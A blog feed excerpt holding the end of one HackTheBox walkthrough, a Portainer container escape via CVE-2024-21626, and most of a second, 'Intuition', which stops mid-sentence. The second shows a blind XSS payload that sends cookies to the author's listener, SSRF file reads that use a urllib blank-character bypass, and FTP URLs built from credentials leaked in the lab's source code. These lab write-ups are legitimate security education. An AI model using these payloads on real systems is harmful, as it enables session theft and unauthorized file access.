there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Eam6MFZNXAXMaG6AXDE1_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*R9UGLOEMIyOu7U7yEIbtyA.png" /></figure><p>Now that we have the id_rsa key and the database dump, let’s see what is inside these database files.</p><p>I used this command to expedite the process. and I found password hashes in the users file</p><pre>find . -type f -exec sh -c &#39;echo -e &quot;\n\n***** File: $1 *****\n&quot;; cat &quot;$1&quot;&#39; _ {} \;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuilFhTa182lc1OL2OLBUA.png" /></figure><p>After making filtration, there is only two users obvious to be system embedded</p><p>Now we have two things to do</p><ul><li>first to find the user suitable with the SSH key</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jt8LBvBYJYNicuSSy5nBFg.png" /></figure><p>note: you have to chmod +600 id_rsa first so you can use it in login</p><ul><li>second to crack the other user hash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpXHTSq0QRQWM11SuqShIA.png" /></figure><pre>hashcat -m 3200 to_crack /usr/share/wordlists/rockyou.txt --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cZtY4wa5BiNOb4gOLgbhsw.png" /></figure><p>For later, we now have the SSH key to access the “john” machine, which contains the user flag, as well as the credentials for “matthew”</p><p>If you’re following the first pathway from the beginning, you’ll need to gather your resources and the data you possess to obtain credentials for logging into Portainer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xa7WC47L47KqfNrcyIfWXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*1KmMx1TeHMKPXJ8I.png" /></figure><p>Another machine enumeration from the start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYh07yzvx52P9Pc7GYk2xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZmlNAZ5Jyl5I1F9aKV-Rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZapZvCOrQnI49gO5DbpYLg.png" /></figure><blockquote>Portainer is a lightweight management UI which allows you to easily manage your different Docker environments (Docker hosts or Swarm clusters).</blockquote><p>So add it first to the hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2wp7Ujs89aLIUblMs-RKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMbDpzgkovPSaVveNc2czw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b68OLSrU8cvcUQvF1UW1Hg.png" /></figure><p>After trying default credentials and CVEs with no success, it’s time to explore an alternative approach. For those who followed the first pathway, it’s essential to consider the second pathway. In the second pathway, we obtained credentials for Matthew, which we can now utilize to log into the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQ5o-2bOmGrtxkw_1qj3hA.png" /></figure><p>again searching how to execute commands on Portainer</p><p><a href="https://docs.portainer.io/user/docker/containers/console">Access a container&#39;s console | 2.19 | Portainer Documentation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RDzIle_wm-u3t35Rayb2tA.png" /></figure><p><a href="https://docs.portainer.io/user/docker/containers/add">Add a new container | 2.19 | Portainer Documentation</a></p><p>I tried to deploy a container but it fails</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDxxhQOH1bdG_dccCehvYw.png" /></figure><p>After a minute, I figured out that I needed to deploy one of the existing images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqEI0j6Mp2adcr6i_XGqIg.png" /></figure><p>Creating the container is straightforward, but the challenge lies in determining the next steps. The issue we face is that even though we can execute commands as root within the container, it operates as a sandbox. Consequently, we lack access to the real machine’s root data.</p><p>So now we have to search about “containers escaping” and I found this article</p><p><a href="https://www.paloaltonetworks.com/blog/prisma-cloud/leaky-vessels-vulnerabilities-container-escape/">Container Escape: New Vulnerabilities Affecting Docker and RunC - Palo Alto Networks Blog</a></p><p>We have some fresh CVEs to try, it’s highly likely that the machine is vulnerable to one of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Os2QvFbBGhgTTiLiFejUlg.png" /></figure><blockquote>CVE-2024–21626 resides in <strong>runc</strong>, a critical tool responsible for spawning containers. Due to an internal file descriptor leak in versions up to and including 1.1.11, attackers can manipulate the working directory (process.cwd) of a newly spawned container process. Like an unlocked door, the leak leaves the file descriptor open, providing access. This manipulation allows the process to access the host filesystem, granting unauthorized access and potential container breakout. The risk is significantly reduced, however, when using prebuilt images from reputable registries that maintain patched images.</blockquote><ul><li><a href="https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626">runc working directory breakout (CVE-2024-21626)</a></li><li><a href="https://medium.com/@sk3pper/play-with-cve-2024-21626-2b4377e9577f">Playing with CVE-2024-21626</a></li><li><a href="https://nitroc.org/en/posts/cve-2024-21626-illustrated/#falco">Illustrate runC Escape Vulnerability CVE-2024-21626</a></li></ul><p>You can read these articles to learn how to reproduce it.</p><p>The real problem is how to reproduce it in Portainer. All POCs are for Docker, and we are already in an isolated environment.</p><p>If you want to try this approach, you can follow these steps.</p><ol><li>Create a Dockerfile</li></ol><pre>FROM ubuntu<br># Sets the current working directory for this image<br>WORKDIR /proc/self/fd/8/</pre><p>2. Build the Docker image</p><pre>docker build -t cve-2024–21626 .</pre><p>3. Deploy the Docker container on Portainer</p><ul><li>Log in to your Portainer instance.</li><li>Navigate to the “App Templates” section =&gt; Custom Templates.</li><li>add Custom Template.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDIZ8I6EaczdQNRnM0zhyQ.png" /></figure><p>Nothing seems to work, neither building nor uploading, not even adding it from a GitHub repository.</p><p>After a while, I concluded that to reproduce the vulnerability, you can specify the working directory during the deployment process on Portainer for any existing image.</p><p>Specify one of the existing images and set the working directory to <strong><em>/proc/self/fd/8</em></strong>, then deploy the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52f2-VVjChncxsuRJJCpvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4O3_o7IZLT2rHvmNznyRWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDIY-yP3-D7BiQvmTZ86BA.png" /></figure><p>After that, start the deployed container from the container list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uo-VDMt97F0zLdgA_NZyUA.png" /></figure><p>Start the console</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2uxQ-MKyL70i_pzGUx8xLQ.png" /></figure><p>You can login as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMC_We8Nqgf_rWeznySpaA.png" /></figure><p>Then escape the container to get the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96Ahpc0gM1q2rPYcppi-mQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpt9gX-ex0mNFUnWjeL2Sw.png" /><figcaption><a href="https://www.hackthebox.com/achievement/machine/1862550/598">https://www.hackthebox.com/achievement/machine/1862550/598</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=516891060a66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Intuition writeup]]></title>
            <link>https://b4l3rion.medium.com/hackthebox-intuition-writeup-2d7a7f642dd4?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d7a7f642dd4</guid>
            <category><![CDATA[comprezzorhtb]]></category>
            <category><![CDATA[intuition]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sun, 29 Sep 2024 23:20:18 GMT</pubDate>
            <atom:updated>2024-12-31T12:07:19.328Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uiDkUxilnQQMvDURhupTTA.png" /><figcaption><a href="https://app.hackthebox.com/machines/Intuition">https://app.hackthebox.com/machines/Intuition</a></figcaption></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀ ⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم ِ</p><p>Hello Fellows, This is my comprehensive walkthrough for solving ‘Intuition’, the second machine of Season 5 on Hack The Box. This particular machine presented numerous challenges, and I encountered several roadblocks along the way. However, the experience proved immensely beneficial.</p><p>I kicked off my journey with the discovery and exploitation of a blind XSS vulnerability on the report page, snagging the ‘web_dev’ cookie. Then, by tweaking my report’s priority, I intercepted the admin’s cookies. Next up, I exploited an SSRF vulnerability chained with LFI to snatch sensitive files, which led me to the FTP credentials. With those in hand, I uncovered an SSH private key in the FTP, later leveraging it to reverse engineer the Ansible playbook and escalate my privileges. Quite the thrilling ride overcoming these obstacles! so lets start!</p><h3>Initial Reconnaissance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7HDLAmawF0tKeQIO0eJaaQ.png" /></figure><p>From the Nmap scan result, there are two open ports</p><ul><li>Port 22 is running an SSH service.</li><li>port 80 A web application is accessible on.</li></ul><p>Exploiting the web service appears to be a promising initial approach, especially considering the lack of exploitable vulnerabilities associated with the detected OpenSSH version.</p><p>After accessing the webpage, it was revealed that the domain name is <a href="http://comprezzor.htb/">comprezzor.htb</a> So Add this domain to the hosts file for local resolution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jju4jY5w2vkrjAi2T8lelw.png" /></figure><p>The hosted webpage was file compression service, allowing users to upload files for compression. While the initial thought of exploiting it for file upload and potentially obtaining a shell crossed my mind, I recognized the possibility of it leading into a rabbit hole. Therefore, I decided to table that approach for later consideration, opting instead to explore alternative avenues unless the need for it became apparent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWSAmChrmXk3R2XoWAd1Dw.png" /></figure><p>Further down the webpage, I noticed a hyperlink leading to a report form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-rgj2MMnMxYecT_snxUgg.png" /></figure><p>After clicking on it, I was directed to the domain report.comprezzor.htb. I promptly added it to the hosts file. While in the process, I made the decision to run a VHOST FUZZ for subdomain enumeration.</p><p>The fuzzing results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wd0Ru1gwfkck8mhKU7Xu2w.png" /></figure><p>The report subdomain page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ex4gjrfFq5wJ3J894jGuqQ.png" /></figure><p>Clicking on Report a Bug redirected me to the auth subdomain <a href="http://auth.comprezzor.htb/login">http://auth.comprezzor.htb/login</a></p><p>So add auth and dashboard subdomains to the hosts file and noted the dashboard for later as it required authentication same as the report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaVvyH4P5O2M2_FfjOLHlQ.png" /></figure><p>I proceeded to register an account and subsequently logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubwYEYsm_cLbztD9aNmzJQ.png" /></figure><p>The first thing i did after login is checking the cookie value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbVcgsZ_aFzdhwNWbsxQoQ.png" /></figure><p>A Base64 encoded value, which I promptly decoded, revealing that the website assigns roles within the cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJz1uAAlfJASB5HCug6s3w.png" /></figure><p>I changed the role to admin, encoded it back, and replaced the value of the cookie with the modified one.</p><pre>eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogInRlc3QiLCAicm9sZSI6ICJ1c2VyIn18Y2Q0YzJiZGE2Mzc1ZTBlNDgwNGJjYmU0MTA4YTBkMzAzZjYyYjY1OWUyYmVmNjFiMzkwZjI5ZWI1YjhhNTBlOA==<br>{&quot;user_id&quot;: 6, &quot;username&quot;: &quot;test&quot;, &quot;role&quot;: &quot;user&quot;}|cd4c2bda6375e0e4804bcbe4108a0d303f62b659e2bef61b390f29eb5b8a50e8<br>{&quot;user_id&quot;: 6, &quot;username&quot;: &quot;test&quot;, &quot;role&quot;: &quot;admin&quot;}|cd4c2bda6375e0e4804bcbe4108a0d303f62b659e2bef61b390f29eb5b8a50e<br>eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogInRlc3QiLCAicm9sZSI6ICJhZG1pbiJ9fGNkNGMyYmRhNjM3NWUwZTQ4MDRiY2JlNDEwOGEwZDMwM2Y2MmI2NTllMmJlZjYxYjM5MGYyOWViNWI4YTUwZQ==</pre><p>Unfortunately, No changes were observed in the report page. Consequently, I redirected my attention to the dashboard subdomain, which authenticated from the same authentication subdomain and cookie as the report subdomain. However, upon accessing the dashboard, the cookie triggered an internal server error within the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unZShHdyaRowI7H_01BdMA.png" /></figure><p>Having previously observed the hash value within the cookie, I attempted to crack it without success. Recognizing the need for an alternative approach, I turned my attention back to the report form, hoping to uncover a potential foothold.</p><blockquote>You have to Change back the cookie value to mitigate issues</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojjSVj_4gIExafrrGhgO0w.png" /></figure><p>It seems there might be a blind XSS vulnerability to exploit, so let’s dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MZUxh4DL3OMyaZ80ISPbw.png" /></figure><p>I had many options to try from my old notes, whether by using a simple script and an netcat listener, or hosting a cookie reorder page to capture received cookies. Additionally, we have a variety of payloads to inject, providing ample avenues for experimentation.</p><p>This simple payload proved effective, successfully capturing the cookie in the listener.</p><pre>&quot;&gt;&lt;img src=x onerror=this.src=&#39;http://10.10.16.35:8081/?c=&#39;+document.cookie&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOyhu2y01fdnb39LPg6gwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhyC5-U7Q20mhg1ABcHXDQ.png" /></figure><p>I revisited the Dashboard after modifying the cookie value, and voila, we captured the webdev cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QdGQVjWOsQzuk2KHzDuhfA.png" /></figure><p>There were no features in the page so i decided to do directory FUZZ while reviewing these reports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGb6J_LGIsVmo6acqmIO_g.png" /></figure><p>The web_dev user can change the priority of the report, resolve it or delete it either.</p><p>The directory fuzzing reveled a path for backup and another for resolve</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQOFq_mNd7ut8tpL8Otj4g.png" /></figure><p>We already know this user can resolve reports and that is explain why the method not allowed as it would be POST method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WD2krg11s7CYn9k94-Keag.png" /></figure><p>And regarding the backup path, it revealed nothing more than a confirmation of successful backups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQIMoAFprqcuSlJlqVabhQ.png" /></figure><p>I don’t know why or when or how but sometimes after refresh the other users reports appear, including one that belongs to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mK3C_aRFUJ4PGO4F0VT_Cg.png" /></figure><p>Even it doesn’t appear you can submit another report and you would be able to see it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R1k9oXGxmSlUDX7ba_ewwQ.png" /></figure><p>As indicated, the report’s priority is currently set to zero. By modifying it to one, according to my assumptions, we may have the opportunity to intercept the higher-privileged user responsible for reviewing this report, as has been successfully done previously.</p><p>So you can set higher priority to the report directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vTAak_yEz5B7qI0NdJKknA.png" /></figure><p>If the action buttons fail to appear, another approach is to use burp for that: by intercepting another report request to change the priority and change the report number to yours that contains the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nmdARkj09d95EaSabrWwKw.png" /></figure><p>And yeahh, the assumptions were right we captured another cookie value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26KIJvJTaOxjSvo7FfKZ5Q.png" /></figure><p>We have now access to the admin panel with four tabs to view</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhEI0wPDwHsX1835zLtRzQ.png" /></figure><p>First three were useless but the fourth were a PDF report creator that requires a URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*lIM5LARUHsukYcCkMpYlRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*WC7k_CCZtxC5eXPc.jpg" /></figure><p>Lets check If our assumption is right or not!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U69cwitRS-GSkZCDWEOtw.png" /></figure><p>We were Right! This field is indeed vulnerable to SSRF, as evidenced by the request received on the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVLqF841BR3Y_Uh5CkkuNw.png" /></figure><p>Once it fetches the provided URL, it generates a PDF listing the directory contents of the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kd6ajbz2mXmoaZPOUMh9Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26wC2fNRllVpE8Sp-OluWw.png" /></figure><p>And yeah it displays the content of the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_443TbwVsElZNACZMOanQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7c-tCmCdtBONDUGIND80mg.png" /></figure><p>Again!! lets check if we can include some nice files from the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*Oj943xPNIQiQJJ2U" /></figure><p>It’s a Linux server, I attempted to access several files, but to no avail. Despite trying numerous bypass methods and alternative URL schemas, but nothing :(</p><h4>Let’s recap our data to identify any missing information.</h4><p>This time I captured the requested to see the report file response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvmxdRUVt5aCZ6imeztWtQ.png" /></figure><p>IT revealed the service used for this process wkhtmltopdf 0.12.6</p><p>After conducting some research, I discovered a vulnerability affecting this version, SSRF CVE:<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-35583">2022–35583</a>. However, despite several attempts, I was unable to exploit it successfully. Here is the exploit to <a href="https://www.exploit-db.com/exploits/51039">check</a>.</p><p>Going backtrack to the captured request sent to our IP address when we were checking for the presence of an SSRF vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufSdiBjcFTwYJUbYN0EEfA.png" /></figure><p>The server is using Python-urllib/3.11</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-5hGXCI5YohzBrqLTOJ6g.png" /></figure><blockquote><strong><em>cve-2023–24329: </em></strong><em>An issue in the </em><em>urllib.parse component of Python before v3.11 allows attackers to bypass block listing methods by supplying a URL that starts with </em><strong><em>blank </em></strong><em>characters.</em></blockquote><p>So, let’s insert a space before the parsed URL for the internal file.</p><pre>file:///etc/passwd</pre><p>It works well, It successfully generated a PDF report containing the content of the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fb4RQ11M7PwVMHvYUNEINQ.png" /></figure><p>Lets start by requesting cmdline to know the current running process</p><pre>file:///proc/self/cmdline</pre><p>The /proc/self/cmdline file in Linux contains the command line arguments passed to the currently running process. It provides insight into how a process was invoked, including any flags, options, or parameters supplied to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9nQynOPCtIQmFzgNVCKGw.png" /></figure><p>The currently running application is /app/code/app.py. Lets retrieve its code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzIk9MRWtt4kDM7Sttr25g.png" /></figure><p>Using ChatGPT to beautify it</p><pre>from flask import Flask, request, redirect<br>from blueprints.index.index import main_bp<br>from blueprints.report.report import report_bp<br>from blueprints.auth.auth import auth_bp<br>from blueprints.dashboard.dashboard import dashboard_bp<br><br>app = Flask(__name__)<br>app.secret_key = &quot;7ASS7ADA8RF3FD7&quot;<br>app.config[&#39;SERVER_NAME&#39;] = &#39;comprezzor.htb&#39;<br>app.config[&#39;MAX_CONTENT_LENGTH&#39;] = 5 * 1024 * 1024  # Limit file size to 5MB<br>ALLOWED_EXTENSIONS = {&#39;txt&#39;, &#39;pdf&#39;, &#39;docx&#39;}  # Add more allowed file extensions if needed<br>app.register_blueprint(main_bp)<br>app.register_blueprint(report_bp, subdomain=&#39;report&#39;)<br>app.register_blueprint(auth_bp, subdomain=&#39;auth&#39;)<br>app.register_blueprint(dashboard_bp, subdomain=&#39;dashboard&#39;)<br>if __name__ == &#39;__main__&#39;:<br>    app.run(debug=False, host=&quot;0.0.0.0&quot;, port=80)</pre><p>The first thing to notice is the classes this code importing. So i made this tree for them.</p><pre>/app/code<br>├── app.py<br>└── blueprints<br>    ├── auth<br>    │   ├── __init__.py<br>    │   └── auth.py<br>    ├── dashboard<br>    │   ├── __init__.py<br>    │   └── dashboard.py<br>    ├── index<br>    │   ├── __init__.py<br>    │   └── index.py<br>    └── report<br>        ├── __init__.py<br>        └── report.py</pre><p>It is dasboard.py turn for retrieving its code, based on the tree provided up that we got from the app.pywe can request this path</p><pre>file:///app/code/blueprints/dashboard/dashboard.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LkFcbmDkUpCQ2ka1ac1BJA.png" /></figure><pre>from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file<br>from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data<br>from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report<br>import random<br>import os<br>import pdfkit<br>import socket<br>import shutil<br>import urllib.request<br>from urllib.parse import urlparse<br>import zipfile<br>from ftplib import FTP<br>from datetime import datetime<br><br>dashboard_bp = Blueprint(&#39;dashboard&#39;, __name__, subdomain=&#39;dashboard&#39;)<br>pdf_report_path = os.path.join(os.path.dirname(__file__), &#39;pdf_reports&#39;)<br>allowed_hostnames = [&#39;report.comprezzor.htb&#39;]<br>@dashboard_bp.route(&#39;/&#39;, methods=[&#39;GET&#39;])<br>@admin_required<br>def dashboard():<br>    user_data = request.cookies.get(&#39;user_data&#39;)<br>    user_info = deserialize_user_data(user_data)<br>    if user_info[&#39;role&#39;] == &#39;admin&#39;:<br>        reports = get_report_by_priority(1)<br>    elif user_info[&#39;role&#39;] == &#39;webdev&#39;:<br>        reports = get_all_reports()<br>    return render_template(&#39;dashboard/dashboard.html&#39;, reports=reports, user_info=user_info)<br>@dashboard_bp.route(&#39;/report/&#39;, methods=[&#39;GET&#39;])<br>@login_required<br>def get_report(report_id):<br>    user_data = request.cookies.get(&#39;user_data&#39;)<br>    user_info = deserialize_user_data(user_data)<br>    if user_info[&#39;role&#39;] in [&#39;admin&#39;, &#39;webdev&#39;]:<br>        report = get_report_by_id(report_id)<br>        return render_template(&#39;dashboard/report.html&#39;, report=report, user_info=user_info)<br>    else:<br>        pass<br>@dashboard_bp.route(&#39;/delete/&#39;, methods=[&#39;GET&#39;])<br>@login_required<br>def del_report(report_id):<br>    user_data = request.cookies.get(&#39;user_data&#39;)<br>    user_info = deserialize_user_data(user_data)<br>    if user_info[&#39;role&#39;] in [&#39;admin&#39;, &#39;webdev&#39;]:<br>        report = delete_report(report_id)<br>        return redirect(url_for(&#39;dashboard.dashboard&#39;))<br>    else:<br>        pass<br>@dashboard_bp.route(&#39;/resolve&#39;, methods=[&#39;POST&#39;])<br>@login_required<br>def resolve():<br>    report_id = int(request.args.get(&#39;report_id&#39;))<br>    if resolve_report(report_id):<br>        flash(&#39;Report resolved successfully!&#39;, &#39;success&#39;)<br>    else:<br>        flash(&#39;Error occurred while trying to resolve!&#39;, &#39;error&#39;)<br>    return redirect(url_for(&#39;dashboard.dashboard&#39;))<br>@dashboard_bp.route(&#39;/change_priority&#39;, methods=[&#39;POST&#39;])<br>@admin_required<br>def change_priority():<br>    user_data = request.cookies.get(&#39;user_data&#39;)<br>    user_info = deserialize_user_data(user_data)<br>    if user_info[&#39;role&#39;] != (&#39;webdev&#39; or &#39;admin&#39;):<br>        flash(&#39;Not enough permissions. Only admins and webdevs can change report priority.&#39;, &#39;error&#39;)<br>        return redirect(url_for(&#39;dashboard.dashboard&#39;))<br>    report_id = int(request.args.get(&#39;report_id&#39;))<br>    priority_level = int(request.args.get(&#39;priority_level&#39;))<br>    if change_report_priority(report_id, priority_level):<br>        flash(&#39;Report priority level changed!&#39;, &#39;success&#39;)<br>    else:<br>        flash(&#39;Error occurred while trying to change the priority!&#39;, &#39;error&#39;)<br>    return redirect(url_for(&#39;dashboard.dashboard&#39;))<br>@dashboard_bp.route(&#39;/create_pdf_report&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>@admin_required<br>def create_pdf_report():<br>    global pdf_report_path<br>    if request.method == &#39;POST&#39;:<br>        report_url = request.form.get(&#39;report_url&#39;)<br>        try:<br>            scheme = urlparse(report_url).scheme<br>            hostname = urlparse(report_url).netloc<br>            try:<br>                dissallowed_schemas = [&quot;file&quot;, &quot;ftp&quot;, &quot;ftps&quot;]<br>                if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(&quot;:&quot;)[0]) != &#39;127.0.0.1&#39;) or (hostname in allowed_hostnames)):<br>                    print(scheme)<br>                    urllib_request = urllib.request.Request(report_url, headers={&#39;Cookie&#39;: &#39;user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM&#39;})<br>                    response = urllib.request.urlopen(urllib_request)<br>                    html_content = response.read().decode(&#39;utf-8&#39;)<br>                    pdf_filename = f&#39;{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf&#39;<br>                    pdfkit.from_string(html_content, pdf_filename)<br>                    return send_file(pdf_filename, as_attachment=True)<br>            except:<br>                flash(&#39;Unexpected error!&#39;, &#39;error&#39;)<br>                return render_template(&#39;dashboard/create_pdf_report.html&#39;)<br>        else:<br>            flash(&#39;Invalid URL&#39;, &#39;error&#39;)<br>            return render_template(&#39;dashboard/create_pdf_report.html&#39;)<br>    except Exception as e:<br>        raise e<br>    else:<br>        return render_template(&#39;dashboard/create_pdf_report.html&#39;)<br>@dashboard_bp.route(&#39;/backup&#39;, methods=[&#39;GET&#39;])<br>@admin_required<br>def backup():<br>    source_directory = os.path.abspath(os.path.dirname(__file__) + &#39;../../../&#39;)<br>    current_datetime = datetime.now().strftime(&quot;%Y%m%d%H%M%S&quot;)<br>    backup_filename = f&#39;app_backup_{current_datetime}.zip&#39;<br>    with zipfile.ZipFile(backup_filename, &#39;w&#39;, zipfile.ZIP_DEFLATED) as zipf:<br>        for root, _, files in os.walk(source_directory):<br>            for file in files:<br>                file_path = os.path.join(root, file)<br>                arcname = os.path.relpath(file_path, source_directory)<br>                zipf.write(file_path, arcname=arcname)<br>    try:<br>        ftp = FTP(&#39;ftp.local&#39;)<br>        ftp.login(user=&#39;ftp_admin&#39;, passwd=&#39;u3jai8y71s2&#39;)<br>        ftp.cwd(&#39;/&#39;)<br>        with open(backup_filename, &#39;rb&#39;) as file:<br>            ftp.storbinary(f&#39;STOR {backup_filename}&#39;, file)<br>        ftp.quit()<br>        os.remove(backup_filename)<br>        flash(&#39;Backup and upload completed successfully!&#39;, &#39;success&#39;)<br>    except Exception as e:<br>        flash(f&#39;Error: {str(e)}&#39;, &#39;error&#39;)<br>    return redirect(url_for(&#39;dashboard.dashboard&#39;))</pre><p>For the last method, backup(), it reveals the FTP credentials for ftp.local with the username ftp_admin and the password u3jai8y71s2.</p><h3>First foothold!</h3><p>From the initial scan, we’ve determined that there are no open FTP ports on the given IP. Therefore, it appears to be running within the internal network.</p><p>I know from earlier that I can use the FTP schema to access the FTP service through the SSRF exploit. Therefore, by employing the FTP schema and providing the credentials, we can successfully log in to the FTP server.</p><pre>ftp://ftp_admin:u3jai8y71s2@ftp.local/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8pU32Kiqab5d1qExYM2x3Q.png" /></figure><p>The PDF report contains the files existing on the FTP, So lets grep them</p><pre>ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9m-SfeQqtmcA71pmKLZyBw.png" /></figure><pre>ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tUtMrj9XUDJZ8Q6gDZ9qQ.png" /></figure><p>I was stuck here for a few minutes. Which user should I use, and how can I use this passphrase? then i got idea to check the SSH key comments</p><pre>ssh-keygen -y -f  id_rsa</pre><p>This command will output the public key associated with the private key, including any comments that were included when the key pair was generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5rfw9XGO7cYtUzbki2IkVA.png" /></figure><p>To gain initial access, use this username along with the SSH private key for authentication into the 